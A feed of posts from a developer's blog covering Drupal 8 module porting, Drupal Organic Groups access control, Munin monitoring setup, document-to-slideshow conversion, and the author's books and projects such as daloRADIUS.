With credits and thanks to Matt who pointed this out and was generous enough to comment on the previous blog and update me on this change.

Drupal 8 module development #3 – adding a settings page

Wed, 25 Sep 2013 00:00:00 GMT

Drupal modules often provide an administrator with a settings page so that various configuration options can be tuned and setup using the web interface. We will take a look at how we can create a configuration page and get to know some basic interactions with Drupal’s new configuration system.

In the previous article we briefly introduced the routing system, with adding a basic route. When that route is triggered Drupal will be searching for the settings form class implementation - Drupal\globalredirect\Form\GlobalredirectSettingsForm that we defined in the route setting.

Let’s begin by creating this directory structure of lib/Drupal/globalredirect/Form in the module’s root directory and then create the form class GlobalRedirectSettingsForm.php which will contain the skeleton class:

<?php
/**
 * @file
 * This is the GlobalRedirect admin include which provides an interface to global redirect to change some of the default settings
 * Contains \Drupal\globalredirect\Form\GlobalredirectSettingsForm.
 */

namespace Drupal\globalredirect\Form;

use Drupal\system\SystemConfigFormBase;
use Drupal\Core\Config\ConfigFactory;
use Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Defines a form to configure module settings.
 */
class GlobalredirectSettingsForm extends SystemConfigFormBase {

  /**
   * {@inheritdoc}
   */
  public function getFormID() {
    return 'globalredirect_settings';
  }

}

A few things to point out about this class:

It defines the namespace, per the directory structure the file resides in.
It makes use of several classes we may need access to. In particular, ConfigFactory which provides access to Drupal’s configuration system so that we can get and save configuration items, and SystemConfigFormBase which is the base class for doing module’s settings form, basically replacing Drupal 7′s system_settings_form(). It extends on FormBase, the very basic form class which implements FormInterface.
It implements getFormID() which returns a string, defining the form name.

Now that we have a very basic implementation of the module’s settings form we will need to implement some other methods which will get this form to actually display the form (to build the form if so to speak), handle submit actions, etc. Let’s proceed to update the form with some more code:

<?php
/**
 * @file
 * This is the GlobalRedirect admin include which provides an interface to global redirect to change some of the default settings
 * Contains \Drupal\globalredirect\Form\GlobalredirectSettingsForm.
 */

namespace Drupal\globalredirect\Form;

use Drupal\system\SystemConfigFormBase;
use Drupal\Core\Config\ConfigFactory;
use Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Defines a form to configure module settings.
 */
class GlobalredirectSettingsForm extends SystemConfigFormBase {

  /**
   * {@inheritdoc}
   */
  public function getFormID() {
    return 'globalredirect_settings';
  }

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, array &$form_state) {
    
    // Get all settings
    $config = $this->configFactory->get('globalredirect.settings');
    $settings = $config->get();

    $form['settings'] = array(
      '#tree' => TRUE,
    );

    $form['settings']['deslash'] = array(
      '#type' => 'checkbox',
      '#title' => t('Deslash'),
      '#description' => t('If enabled, this option will remove the trailing slash from requests. This stops requests such as `example.com/node/1/` failing to match the corresponding alias and can cause duplicate content. On the other hand, if you require certain requests to have a trailing slash, this feature can cause problems so may need to be disabled.'),
      '#default_value' => $settings['deslash'],
    );

    return parent::buildForm($form, $form_state);
  }

  /**
   * {@inheritdoc}
   * Compares the submitted settings to the defaults and unsets any that are equal. This was we only store overrides.
   */
  public function submitForm(array &$form, array &$form_state) {

    // Get config factory
    $config = $this->configFactory->get('globalredirect.settings');

    $form_values = $form_state['values']['settings'];

    $config
      ->set('deslash', $form_values['deslash'])
      ->save();

    parent::submitForm($form, $form_state);

  }
  
}

The updated class has now implementations for buildForm() and submitForm(). The code shows only how the deslash configuration property is configured to avoid pasting a very large chunk of code with all the settings this module actually configures.

While the ConfigFactory and ContainerInterface classes aren’t really required explicitly, if you’re wondering what is their purpose then you should consult the class source of SystemConfigFormBase, which implements the required methods for dependency injection. What does that mean? To explain roughly, the class makes use of constructor injection principle to make some objects available for you “behind the scenes”. This eliminates cluttered code and allows for more reusable code. If you’re asking yourself where is the configFactory coming from in our class? the answer is dependency injection. We could’ve used the global config() function or possibly the static Drupal::Config() method but we didn’t, because using the configFactory is a more preferred method.

Drupal 8 module development #2 – adding basic routing

Fri, 20 Sep 2013 00:00:00 GMT

In the previous article we looked into the very basic job of beginning a module’s port to Drupal 8 and that was to update the module .info file. Next up, we will take a look at updating the routing system create a valid menu entry which will point to the module’s settings page.

In Drupal 7 and previous versions, it was required to implement hook_menu() and return an associative array with a list of parameters which define the menu entry, such as the routing path, the title, access permissions etc. For the Global Redirect module that menu entry for configuring the module looked as such:

/**
 * Implements hook_menu().
 */
function globalredirect_menu() {
  $items['admin/config/system/globalredirect'] = array(
    'title' => 'Global Redirect',
    'description' => 'Choose which features you would like enabled for Global Redirect',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('globalredirect_settings'),
    'access arguments' => array('administer site configuration'),
    'file' => 'globalredirect.admin.inc',
  );

  return $items;
}

With Drupal 8, it is required to update the routing in a dedicated routing file, as well as implementing hook_menu(), so the first order of business would be to create the routing file which takes the format of <module_name>.routing.yml, in our case it will be globalredirect.routing.yml, and we will add the routing information to it:

globalredirect_settings:
  path: '/admin/config/system/globalredirect'
  defaults:
    _form: 'Drupal\globalredirect\Form\GlobalredirectSettingsForm'
  requirements:
    _permission: 'administer site configuration'

The routing declaration begins by specifying the name of this route entry globalredirect_settings, followed by the settings for it. The pattern is used to identify the URL pattern and can actually contain named placeholder parameters like we’ve seen in previous hook_menu() implementations (although they take a different syntax here). The next _form entry specifies the form class which Drupal expects to load for the settings form, and finally the _permission entry specifies the access control to validate the user has specific access.

Followed by routing file, we’ll update the hook_menu()implementation to correlate with the routing entry:

/**
 * Implements hook_menu().
 */
function globalredirect_menu() {
  $items = array();
  $items['globalredirect_settings'] = array(
    'title' => 'Global Redirect',
    'description' => 'Choose which features you would like enabled for Global Redirect.',
    'route_name' => 'globalredirect_settings',
  );
  return $items;
}

As you can see hook_menu() implementation is quite simpler now. While we used the route name for the routing entry in the $items array, it’s not a must and we could’ve specified the path just as well. It’s the route_name array key which actually matters.

Drupal 8 module development #1 – kickoff

Mon, 16 Sep 2013 00:00:00 GMT

I’ve been following Drupal 8 development for quite a while, during which I helped a bit with the issue queue, posting some patches and did some general sanity testing to see what’s the buzz all about. I’m a firm believer in getting your hands dirty if you really want to know what’s going under the hood, and sometimes it’s just not enough to “read about it”. So with that said, I figured I’ll pick myself some non-migrated yet Drupal 7 module and start working on that. That module turned out to be Global Redirect which isn’t a terribly complex module so it makes a good starting point.

After doing some good progress with the module, I have e-mailed Thomas, the module’s maintainer and started collaborating on the Drupal 8 port together with Francisco and we’re on our way to get that module up and running for Drupal 8. In doing this, it was important for me to port the module with a sequence of logically incremented commits which are building-up the module’s port together so this will be easier for new comers to figure out from the commit diffs how the porting process begins.

Getting your hands dirty: the .info file

To kick-off this series of how to port a Drupal 7 module to Drupal 8 I will begin with a short and very focused area – the module’s info file. The module’s .info file purpose is very much like Drupal 7′s, provide some basic metadata about the file. The difference is that Drupal 8 version is expecting to find the YAML version of the file.

The structure of the .info file is very similar to that of Drupal 7 and a typical content would look like this:

name: 'Global Redirect'
description: 'Searches for an alias of the current URL and 301 redirects if found. Stops duplicate content arising when path module is enabled.'
core: 8.x
configure: admin/config/system/globalredirect
package: 'Path management'
type: module

While YAML syntax is used to structure this file it is also possible to use PHP or another (meta) language. As you can see, the module’s .info file is pretty basic and easy to get going.

Popular reasons for the module not showing up in Drupal 8:

You don’t have the .info file exists
You don’t have the directive type: module in the .info file

Enabling slideshows in Drupal by converting PPT and PDFs

Tue, 10 Sep 2013 00:00:00 GMT

One of the user stories we’ve been busy with at work was to enable a service similar to slideshare, where users are able to upload their presentations and we’ll create a browser slideshow for it. This means that we accept various formats, like the popular .ppt presentation files, and locally convert it to something we can work with and display on standards web browsers like images. Doing this with online services like slideshare is definitely possible using their APIs but we need to keep these stuff in-house due to company policy and such, so my colleague David Madar had put together a list of open source tools to get this job done.

Installing software

The solution includes the following software stack:

Gearman as a job server for running background tasks
Openoffice, a Python script and ghostscript, all for the purpose of accepting one input format and converting it to an output format as we desire (images for now).

Installing Gearman

In most cases I’d just grab the gearman sources with the required headers and supporting libraries but if you’re working with CentOS then most packages are plain old, and secondly a pain to install if there’s no RPM for it (yes, it’s a rant). So if you’re one of the luckiest men on earth to be given CentOS 5 to work with (unfortunately 5.3 to be exact) for this little experiment you can do:

 yum install gearmand.x86_64 wget http://pecl.php.net/package/gearman/0.8.3 && pecl install gearman-0.8.3.tar.gz

and this will give you gearman server with the required libraries as well as the gearman php extension. Now you are the proud owner of gearman server version 0.14, which was released back in 2010 while there’s already 1.x last released on 2013, but hey, at least your using RH/CentOS. Next up, installing the rest of software stack:

yum install openoffice.org-pyuno openoffice.org-headless.x86_64 openoffice.org-draw.x86_64 openoffice.org-graphicfilter.x86_64 openoffice.org-headless.x86_64 openoffice.org-impress.x86_64 openoffice.org-calc.x86_64 ghostscript

And finally getting unoconv, which is yet again not a member of the default RH5.8 repository packages so next is obtaining the RPM for unoconv from http://pkgs.org/centos-5-rhel-5/repoforge-i386/unoconv-0.5-1.el5.rf.noarch.rpm.html and installing it.

wget http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/unoconv-0.5-1.el5.rf.noarch.rpmrpm -Uvh unoconv-0.5-1.el5.rf.noarch.rpm --nodeps

It’s important to test unoconv and make sure it works. Give it a PPT file and convert it to PDF as follows:

/usr/bin/unconv -f pdf <inputfile.ppt>

Integrate with Drupal

It really depends on how you want to do things. To create a slideshow which doesn’t depend on any plugin you may want to convert everything ultimately to images which give you more room to play with, such as creating your own views based slideshow gallery, javascript to manipulate the navigation, etc. So if you’re getting a PPT file you want to convert that to PDF and then to break the PDF pages each into an image. If you’re getting a PDF that’s half the job already done for you. While you can create and manage all of the conversion process right-after the upload and as part of your content type creation submit handler you will probably find it a better user experience to process the conversion task as an offline, batch job. We chose to go with Gearman but there are ways to do this like hook into cron, etc. To make drush gearman-worker command run in the background as a daemon without losing mysql connectivity a colleague found it effective to re-connect to the mysql database every time the worker function is called. This is accomplished this way:

function your_module_gearman_worker($work) { 
  // Reset the connection to the DB global $db_url, $active_db; 
  if (is_array($db_url)) {
    $connect_url = array_shift(array_values($db_url)); 
  } else {
    $connect_url = $db_url;
  }

  $active_db = db_connect($connect_url); 

  // rest of your code goes here...

}

Drupal 8 development – finding API changes through Drupal’s Change Records

Tue, 10 Sep 2013 00:00:00 GMT

When tackling a new framework or program code, in attempt to contribute and join the development effort, one may find it difficult to navigate through the set of APIs. That’s where documentation comes in. This is the case with new comers to Drupal‘s 8th development branch as well, except we don’t really have an official documentation up and ready at our disposal. While there are blog reviews covering different parts of Drupal 8 development you might find the most important or at least up to date information that you need at Drupal’s Change Records.

The Change Records are somewhat of a changelog list which is a bit more elaborate and may specify when was the change introduced, any open issues with it, where is its impact through-out the system and even examples of making use of the new API, if present.

Taking Drupal’s 8 version of the hook_init() implementation we can browse to https://drupal.org/node/2013014 in search for that API, so for the keyword we can simply type-in init and while we can further tune the search parameters it is probably not necessary as this is a very focused area. Once running the search we can find the desired API change dating back to 05-Jun-2013 on Drupal’s 8.x version and hope the information on the change record is good enough to answer our needs.

OG Content Access in Drupal

Thu, 29 Aug 2013 00:00:00 GMT

Drupal has a flexible access control list (ACL) system, where it provides permissions and roles (also known as RBAC, Role Based Access Control) per user. This eases administrators job by allowing them to group users into different classes or categories (roles) to create differentiation in user’s capabilities. While this fits most web applications built on top of Drupal it doesn’t fit them all.

Drupal’s fault at this is that it is designed to be very permissive by default. In most cases, this means that users are generally allowed to see everything (even though they may not be able to create, edit or delete). This is the case with Organic Groups as well. When users in a Drupal+OG website becomes a member of a community, they may not be able to create/edit/delete some content types, but they will definitely, by default, be able to see (have read permissions, per say) all of the content in that group.

This is where OG Content Access module comes in… it provides the ability to rely on group-specific roles for providing (view/load) access to specific content. The use-case is as follows: you have a group with several content types – blog, announcements, file downloads. Any members of that group will automatically have access to view any of the above contents. You can control access to create, delete, and edit content for different roles, yes, but every member will always have access to view all of the contents of a group.

With this module you can restrict viewing each content to different members by setting the role which is allowed to view/access each content and then, within the group context you may assign roles as necessary for each member.

OG Analytics – an answer for a D6 organic groups environment

Sun, 25 Aug 2013 00:00:00 GMT

Analytics provide insights to behaviors and patterns based on quantitative data. This is most often to aid in making decisions which aren’t just based on a hunch but rather on previous (recorded) experience.

Running a Drupal 6 instance, we wanted to get more information in regards to how our content is being used within organic groups. The common statistics module won’t be of help in this case because it is providing a site-wide information, such as total number of forum nodes, but how about providing a group admin (in OG-terms) the ability to monitor how many forums have been active in his group? which are the top active forum topics? which are the most downloaded content?

To meet the above requirements OG Analytics was developed. It is leveraging Google’s Charts API which adds a very nice user interface to the mix and the module’s design is built in such a way that allows developers to further enrich the analytics pages with more sections (forums, downloads, general user activity, e-commerce output charts etc).

This module has been live in it’s project page for quite some time but I’ve promoted it to a drupal.org project just now.

While it seems that OG Analytics is the only module exists for Drupal 6 Organic Groups setup there are more advanced modules for Drupal 7.

Some screenshots eye-candy for you :-)

Writing “Drupal 7 Media

Wed, 21 Aug 2013 00:00:00 GMT

My book, titled “Drupal 7 Media”, was released by Packt Publishing on July 2013. It started with an official e-mail from Packt Pub’s project coordinator for the book, asking if I’d be interested to take part in writing this book. I had some thoughts, as to whether this would be an appropriate time to work on it (writers have a schedule they need to meet), but after some quick thoughts which I tend to do more than often, I decided to go for it (after my wife Tal confirmed my gut feeling).

While I’ve written a book before, I didn’t have tight deadlines nor did I need to co-ordinate with project reviewers, commissioning editors or technical reviewers. It required me to focus, to be sharp and plan properly for this endeavor. I have worked with Packt Pub before when I technically reviewed Drupal Rules how-to and Elgg 1.8 Social Networking, but a reviewer’s job, as helpful as it may be, it’s hard to compare to authoring a book.

When authoring a title, there’s much thinking process in setting up the book’s outline. Each chapter must be practical for readers to actually learn and implement the knowledge gained through-out the chapter. Further more, chapters should probably build one upon the other, so that readers who follow would be able to also understand how the various components are integrated together to provide some functionality.About 4 months later, with incredible help from all of Packt Pub’s staff and my lovely wife’s patience and support the book was officially released. Much before the planned release date too. It was a great experience working on this book, collaborating and learning so much through out this amazing process.Drupal is no stranger to me. In fact it’s a close friend for the last two and a half years.

At HP’s Live Network R&D group, we’re using the open source Drupal CMS as a platform for building a content delivery and collaboration framework for HP Software’s product teams and their users. Anyone who has worked with Drupal before knows that there’s a love-and-hate relationship with it. It’s great at one time, and drives you mad the next, but you eventually learn to appreciate its weirdness.So last thing left to do after getting my long-awaited book paperback was to toast with my team mates at work. Thanks guys! :-)

More Munin monitoring – track apache web server health

Thu, 09 May 2013 00:00:00 GMT

Monitoring apache

Monitoring internal apache information is useful if you’re using it to serve your web application requests. It has an internal module which you can load (and probably loaded by default already) called mod_status. To add monitoring for apache you need to enable mod_status module and uncomment the /server-status directory.

If you’re working with an .htaccess that overrides the vhost/normal configuration you probably also need to skip re-writing the url if the /server-status is request so add the following rule to the .htaccess file:

RewriteCond %{REQUEST_URI} !=/server-status

and make sure the following is in httpd.conf:

ExtendedStatus On

SetHandler server-status
Order deny,allow
Deny from all
Allow from XX.YY
Allow from 127.0.0.1

With munin and the bundled apache plugin for it, you get the following metrics for free:

Side-note - on some installs, like on my RHEL5, there’s a bug which will spam you with emails (if you configured those to work and being processed through a mail server). The bug is fairly described here https://253965.bugs.gentoo.org/attachment.cgi?id=177568 and to amend this you will need to apply the following patch: http://phil.ro/patches/munin_1.3.4-r1_utf8.patch

Book review: Instant Munin Plugin Starter

Sun, 14 Apr 2013 00:00:00 GMT

This book could not have come in a better timing. I have only recently researched an easy to maintain and gets-the-job-done monitoring tool and if you’ve dealt before with monitoring tools and network operating centers (NOC) in general then you know that some tools are just an overkill. Nagios, Zenoss and the rest of them are good tools on their own but the overhead with configuration, and deployment, having a central server to host the server-side etc might be too much. Munin is much like them in this sense of being a server/client solution, but it’s agent, and overall configuration and tasks required to get a service monitored can be completed in less than 10 minutes.

The book is very concise and geared towards getting you started very quickly, along with providing information on how to extend further on when you scale up with your own custom munin agent monitors. Bart did a good job balancing between the different features. It kicks off with laying out what munin is all about, following-up with a detailed overview on munin’s configuration and architecture. As part of the munin solution that we deployed, I was required to create agent scripts for munin to be able to monitor our internal Drupal application for various interesting metrics. In this regard, it covers a simple munin plugin with a shell script, as well as a more advanced example of it in perl.

It explains very simply and elegantly how things work and how to get the job done properly and summarizes nicely with the author taking the reader through a few more practical examples of advanced monitoring agents and finally providing the user tools to keep up to date with the community around munin, whether it’s plugins archive to find not-so-popular monitoring agents and support resources for getting help. I did find some missing parts which I think should’ve have made it into the book – covering graph basic settings like graph_scale variable, or the graph types (gauge, etc) and their differences as well as best practices would have provided the user with better understanding of how graphs should be built and would definitely worth a few more pages of reading.

PacktPub’s Instant Munin Plugin Starter, see it here.

Monitoring Drupal with Munin

Wed, 03 Apr 2013 00:00:00 GMT

Munin is a lightweight server/agent monitoring tool.
Basically, it works by installing agents on machines you wish to monitor and they report status messages to a munin server, which is another component (ofcourse both the server and agent can run on the same machine). Munin saves those status messages in it’s own data store and is integrated with rrdtool to produce nice looking graphs which give you an overview of daily, weekly, monthly and yearly periodical reports.

Munin In Drupal

Using Munin to monitor some internal Drupal statistics goes a long way regarding insight gathering of what’s going on your web application in real-time. While there are some munin related plugins to use on drupal.org I find it to be yet another module on top of already installed that I have and doesn’t really serve my need. End users can easily build their scripts to get the information they care about and this doesn’t need to exist within the Drupal app at all.

I’ve forked the munin’s contrib project on github and you can find a few scripts to get some nice and information from Drupal 6 already:

total files
total forums and comments
node distribution count
users online (total, anonymous vs registered users)
users total vs blocked users

And there’s nothing like an image to please the eye…

All the code is here: https://github.com/lirantal/contrib/tree/master/plugins/drupal

Installing Munin

We won’t dwell into the ins and outs of munin or it’s installation, as you can easily find out all of this information and more on munin’s website and Google, but here’s a short guide on it anyway for CentOS or RedHat-based distributions.

If munin package isn’t available in your repository try adding using rpmforge (the following uses the RHEL5 64bit repositor):

rpm -Uhv http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS//rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm

On the machine that hosts the munin server (it also hosts the html web resources) you should install the munin package:

yum install munin

Edit /etc/munin/munin.conf and setup the local host if you’re hoping to monitor the munin server too:

[localhost]
address 127.0.0.1
use_node_name

Set a contact for alerts:

contact.liran.command mail -s "Munin notification" your.email@example.com

We’ll need to symlink the munin directory from where it installed to to your web directory and then we can create an alias for it too:

# add an alias for apache in /etc/httpd/conf/httpd.conf
Alias /munin /var/www/munin

Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all

So far this was the munin server side of things. If the same machine needs to be monitored too or if you need to install the munin monitoring agent on another machine you need to install the munin-node package:

yum install munin-node perl-libwww-perl

On that machine you will then need to enable the plugins you wish to use to monitor services. This can be done by symlinking them to say

    /etc/munin/plugins
    
    and making sure they are set executable so that munin can run them. It comes with a hefty set of plugins by default, located probably at
    
    /usr/share/munin/plugins
    
    and you may need to tune plugins configuration using the main munin configuration file for the node at
    
    etc/munin/munin-node.conf

Drupal's 7 Radioactivity patch gets commited

Thu, 07 Feb 2013 00:00:00 GMT

A few months back I gave the Drupal Commons 3 beta version a run to get a close look at an updated version of Acquia‘s enterprise social collaboration platform.
There’s much work to be done still but overall it feels a bit more solid than the bloated Drupal 6 based Commons stack

It’s good to remember that beta testing isn’t only about you, but also about giving back feedback on the overall product, or possibly a bug fix if you’re up for the task, so I filed this bug+patch a while ago but it finally got committed.

Drupal and how to disable notifications for programmatic node updates

Tue, 05 Feb 2013 00:00:00 GMT

More than often, we Drupal developers find ourselves doing programmatic node modifications via the

node_save()

function. If you’re doing that as well as have messaging and notifications modules enabled in your site then given the case that your users have subscribed to content-type updates and you’re doing these ‘behind the scenes’

node_save()

stuff then you’re effectively spamming them with email updates each time you run that function.

To mitigate this issue, when saving a node programmatically you can set an attribute for the notifications module to understand that it needs not to send updates for this operation. It’s a quick and easy one:

function probably_your_hook(&$node) {
 // ... code ... 
 
 // Disable announcements for this operation
 $node->notifications_content_disable = 1;
 node_save($node);
 
 // ... code ... 
}

Drupal 7 Rules book which I worked on has been published recently

Thu, 31 Jan 2013 00:00:00 GMT

In the past year I’ve been working on a Drupal 7 Rules book as a technical reviewer, which got published recently by Packt Publishing.

“Drupal Rules How-to” is a practical, hands-on guide that provides you with a number of clear step-by-step exercises, which will help you take advantage of the real power of the Rules framework, and understand how to use it on a site builder and developer level.

See here:

daloRADIUS VM update – missing php-mail-mime extension

Sat, 12 Jan 2013 00:00:00 GMT

Following a ticket on daloRADIUS’s SF page regarding a blank page when creating a user/notification it lead me to investigate the issue. It seems that the VM is missing the php-mail-mime package. To mitigate this run:

apt-get install php-mail-mime

Kupoya

Tue, 01 Jan 2013 00:00:00 GMT

Kupoya developed a platform that leverages rapidly growing mobile devices adoption, and the wide-spread of social networks to enable digital media agencies to attract for their brands genuine and measurable social coverage across networks like Facebook, Google+ and LinkedIN.

With this intellectual property acquisition, Kupoya’s technology will aid Commerce International in strengthening their market position with
regards to digital media and allow them to grow a new vertical in the industry of online ad management and marketing.

The Platform

I have founded kupoya, partnered up with fellow colleagues and life-long friends to build the next generation marketing startup for viral adoption in the world of coupons. In kupoya I’ve been the technology mastermind and after building our team for the first 8 months I’ve assumed the official title of Chief Technology Officer (CTO) to further lead the vision we had.

Melumadim

Tue, 01 Jan 2013 00:00:00 GMT

Melumadim is a collaborative social networking platform for students in Israel which leverages academic institutes courses to provide a dedicated space for discussions, course material exchange, real-time video and voice conference rooms and more.

About daloRADIUS - January 2013 update

Tue, 01 Jan 2013 00:00:00 GMT

daloRADIUS is an advanced RADIUS web platform aimed at managing Hotspots and general-purpose ISP deployments. It features rich user management, graphical reporting, accounting, and integrates with GoogleMaps for geo-locating (GIS). daloRADIUS is written in PHP and JavaScript and utilizes a database abstraction layer for working with MySQL-based database backends.

daloRADIUS User Guide

serves as an official user guide in a paperback hard-copy version.
Complete Administrator’s User Guide to daloRADIUS Platform. daloRADIUS is an advanced RADIUS web platform aimed at managing hotspots and general-purpose ISP deployments. It features user management, graphical reporting, accounting, and integration with GoogleMaps for geo-locating. daloRADIUS integrates with FreeRADIUS’s database to provide centralized management and control for RADIUS deployments. Those who would find daloRADIUS to be of use are most notably RADIUS operators and administrators, network and systems administrators, integration engineers and NOC departments. Companies or individuals running hotspot captive portals or remote access technologies such as VPNs are likely to find daloRADIUS a great fit to manage their users database records

daloRADIUS Screenshots

daloRADIUS – IP Accounting

daloRAIDUS – Adding New User

daloRADIUS – Editing a User

daloRADIUS – Graphs feature

daloRADIUS – New User

daloRADIUS at SourceForge

daloRADIUS is hosted at SourceForge for any ticketing, issues, feature requests, and overall source code. Packages available are:

daloRADIUS 0.9-9 – Latest official daloRADIUS release: https://sourceforge.net/projects/daloradius/files/daloradius/daloradius0.9-9/
daloRADIUS Virtual Machine – Providing a pre-configured and pre-installed daloRADIUS, FreeRADIUS, MySQL and a bunch of other tools in a Virtual Appliance that can be used for demos and testing purposes, as well as provisioned as a production machine for rapid hotspot deployment. Available here: https://sourceforge.net/projects/daloradius/files/daloradius/daloRADIUS%20VM/

Attachment Links module for Drupal fixes for in-browser downloads

Wed, 19 Dec 2012 00:00:00 GMT

If to quote the attachment links project on Drupal: The Attachment Links module provides permanent links to files attached to a node. A single, easy-to-remember URL can be used to retrieve the preferred (canonical) or newest version of a file regardless of how many versions of that file have been attached to a node.

Incase the light-bulb didn’t turn on yet for you – with Drupal, if you upload a file attachment then if it doesn’t exist yet it will be saved as .tar.gz. If the user then updates that node with a new file upload of the same name, the filename will change to _1.tar.gz and so on since Drupal will transliterate and correct the filename to make sure such file doesn’t exist yet in it’s files directory.

The Attachment Links module mitigates this problem by allowing you to specify a link like node/2600/attachment and by doing that it’s controller will already pull the correct file attachment for this node and send it over the wire. This enables you to give permanent links (in the form of http://example.com/node/2600/attachment) because otherwise the exact file system link will always change when you update the file entry.

So far that was a somewhat short introduction to the use-case for Attachment Links module.

As with most modules, they don’t always scratch your exact itch (@see http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar guideline number 1), and so for us we had the issue that attachments do no retain their original Content-Type header. Meaning, every file will be forced to download so that if node/2600/attachment is actually sending over a readme.txt file, instead of that file to open up in the browser (which was the required case for us) it got downloaded. Same for images, PDFs, etc.

We found it a bit annoying so worked on a fix to maintain this original behavior while still working with this module. For your enjoyment: http://drupal.org/node/1856422

Implementing user-specific, role-based access control per node type, per group. (Part 3)

Mon, 26 Nov 2012 00:00:00 GMT

Practical node access system with Organic Groups

OG approached the node access system in a way which only requires the user to be a member of a community in order to see all of it’s nodes, whatever types they are.

Therefore, og_access module defines an og_subscriber realm and sets the grant id to always be the group id. So for example, in the node_access table we have a record for node id 10 (some story/page node content type) and it’s gid (grant_id, remember?) set to group id 50 (this is showing up in the right side of the illustration).

The node access resolution scales

Next, what happens when the user actually attempts to view this node id 10?
OG also implements a hook_user() upon which when the user object is loaded it adds to it an array of all of the user’s group memberships. So when the node access process happens (i.e: in node_load()) OG’s hook_node_grants() looks at the user object for it’s list of groups and builds an array of grants from it (this is illustrated in the left side)

Drupal then builds those returned grants from OG’s og_access module and turn it into a WHERE clause query. In the example above, the user will be denied access since the returned grant ids are 5 and 10. Meaning the user is a member of group ids 5 and 10, while node id 10 (or even node id 11, added just for example purposes) is associated with group id 50, which the user is not a member of.

Implementing user-specific, role-based access control per node type, per group. (Part 4)

Mon, 26 Nov 2012 00:00:00 GMT

Implementing role-based node access control in groups.

Overview

As mentioned earlier, Drupal is pretty permissive by default and don’t offer a view page kind of permission for page content type. Moreover, it’s attempt to call other modules to control access to the content type is limited only to the module that created this node so this is not really helpful.

Now consider an example use case – each member of a community should be granted a different role, where-as the roles are given to users per groups. This means that users will not be granted roles site-wide from the user/roles administration page. Rather, each group’s admin will be able to list users and give them some role, resulting in a scenario where users will have different roles in different groups.

To meet this example use case, which is out of the scope of default Drupal or OG behavior, there’s OG Users Roles module. Without diving into the internals of it, the way that it works is by detecting the group context and then altering the global user object’s roles attribute with those that are set for the user in the current group.

Use case put to action

So far so good. OG Users Roles does the job and integrates with OG’s node access just fine.
At this point, it doesn’t really matter what roles the user have inside a group, as long as the user is a member of the group he is able to view all of the groups’ created content.

Let’s take this further – what if we wanted to control the view permission of each content type per role? Imagine the ability to define which roles are able to see (access) which content type. This is now getting interesting, it brings in a more fine-grained access control that provides the site admin to selectively choose which roles may access certain content types, resulting in a use case where even if 2 users are members of the same groups, having different roles each of them, allow them to access content types which the other user can’t.

How to approach this?

Remember the node access scales illustration?

The concept to attach such use case is to compose a grants response with all of the user’s roles across all of the groups he is a member of (the left side of the scales), and compare that against the node_access table which now holds not only the group id, but rather the group id and the role that is allowed to access this node (the right side of the scales).
an array of grants from it (this is illustrated in the left side)

Looks like a straight-forward approach, except for a little tiny detail – the gid field in the node_access table is an int, not a char, so we can’t actually use the string format of a 50_2 to represent <group_nid>_<role_id>.

Relying on just saving plain numbers for group_nid and role_id, such as 502 doesn’t make much sense either. Think of an entry like 512 => does it represent group id 5 and role id 12 or group id 51 and role id 2?

Further down the rabbit hole

One way to deal with this is to brutally change the gid field from integer to say char(32) but then you have to patch a few more places (a views handler and node.module) to properly use this field type (i.e: saving records as string and not integer).

It’s a very small patch to apply and I’ve tested with this configuration and a node_access table of roughly 65K size against a user grants response of 300 group_nid/role_id options and around these numbers I didn’t find any performance hit. (of course if you do this, don’t forget to rebuild the indexes on node_access)

Back to our story. To deal with this we’re looking for a hashing function where we can encode the ‘50_2’ string.

MD5 you say? nope. Too large for a 32bit integer.
Remember this old one called CRC32 ? Yep, that’s the one that you used back in the day and now it’s coming back for the rescue. It’s right in size and faster than the alternatives: MD5, SHA1/2 etc.

To implement crc32, return the grants from your module already encoded as crc32 as well as define node grant records where the gid field is encoding the <group_nid>_<role_id>.

Implementing user-specific, role-based access control per node type, per group. (Part 2)

Mon, 19 Nov 2012 00:00:00 GMT

More in-depth node access system overview

So what is that node access system?
The involved components are a few hooks that modules define if they want to hook into the way the node access system work; Furthermore, there’s the node_access table in the database which maintains all of the grants for each node in the system.

The node_access table

This table is joined against queries and it’s holding all of the nodes in the system and their grants. The table is updated with every node that gets created or possibly it can be recreated at any point in time, which is useful if a new module that implements a different access control is installed. The table’s structure:

nid - the node id, and there’s at least one record for each node that exists.
gid – the grant id. A grant id is something abstract. It can be anything upon which you may decide to grant access (within the constraints of the field type – it’s an unsigned int).
realm – a name to identify this grant type.
grant_view, grant_update, grant_delete – either 1 or 0, stating if that grant record allows view, update or delete permission.

Module hooks

Modules define the grant records – modules which define hook_node_access_records() get the current node being processed as an argument and decide what to set as the realm and grant id. This hook should return an array of grants which is basically composed of the fields in the node_access table. This process happens when the node access rebuild action fires or anytime a node is being created.
Modules define the grants – when a node access check is being made, modules implementing hook_node_grants() are called with the user account and current node being accessed and should return their grants.

To put this together, when a node is being accessed and goes through a node access check: we have in one side the node_access database table which holds all of the grant records, upon which the user should be granted access to a node, and in the other side we call up modules with the node being accessed and tell them to return their grant records. This yields a WHERE clause where the module’s returned grants are then compared against the database. Since Drupal’s node access system uses an OR to concatenate all of the modules’ grants, it’s enough that one realm or one grant will approve access to the node for the user to gain access to it.

Implementing user-specific, role-based access control per node type, per group. (Part 1)

Sun, 11 Nov 2012 00:00:00 GMT

We’re going to review a fringe case of setting an access control system, such that, the view access to a node is dependant upon the role the user have. To further complicate it, users get different roles in different groups they are in.

Basic node access system overview

To understand first how Drupal’s node access system behaves by default, let’s follow this process flow that presents what happens when a node is being accessed via node_load():

Process (1) and (2) are pretty obvious. If the user is an administer the node access checks are bypassed and the process gets short-circuit there.

Process (3) is rather interesting, this is Drupal’s attempt to be modular and it looks out which module created (or is in-charge of) this node content type and fires it with the operation and extra parameters. It’s a nice attempt and at best, only that. It’s not really helpful because most chances are that our module did not define the content type. So yay, still no luck to hook in here and get our job done.

Process (4) is the final step of attempting to resolve the node access requirement and hits the heart of Drupal’s node access system. We’ll focus on this part next.

Node access is handled in 2 places

When the node is loaded via node_load() (and goes through the process visualized previously)
When a database query is crafted to return node related information:
